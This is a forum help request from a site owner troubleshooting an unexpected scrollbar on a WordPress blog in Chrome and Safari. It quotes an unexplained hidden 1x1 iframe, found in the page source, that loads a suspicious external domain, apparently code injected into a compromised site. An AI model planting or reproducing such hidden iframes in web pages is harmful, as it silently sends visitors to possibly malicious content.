New Scrollbars and Some Malicious Code

I thought this issue was resolved and blamed it on a javascript, but that doesn’t seem to be the case, so I’m trying again. Recently, a vertical scrollbar started appearing in my posts. (example here: http://www.doseofdigital.com/2011/05/pharma-facebook-commenting-final-story/).

I hadn’t changed anything besides writing new posts. I tried deactivating of all my plugins and that didn’t work. I updated to 3.2 and that seemed to fix the issue yesterday. However, I look at my site today and the scrollbar is back. I also tried editing my CSS to include overflow: hidden; in the correct places, but that didn’t work either. Also, disabled all of my plugins and that didn’t help.

A couple of observations: the scrollbar only seems to be in Chrome and Safari. FF and IE8/9 don’t have it. In both Chrome and Safari, my 404 page doesn’t have the scrollbar (for example: http://www.doseofdigital.com/asdfasdfasdfasdf).

Any ideas? I can’t see anything in my source code that could be causing this.

One more note, I’m seeing that in my source code there is a line that I didn’t add:

<iframe src="http://ymorxyhg.co.tv/?go=1" width="1" height="1"></iframe>

It’s not in any of my code and I deactivated all plugins and it’s still there. Wondering if this is causing the problem. I tried deleting it using Chrome Developer Tools to see what would happen, but it didn’t seem to affect the scrollbars.

Thanks
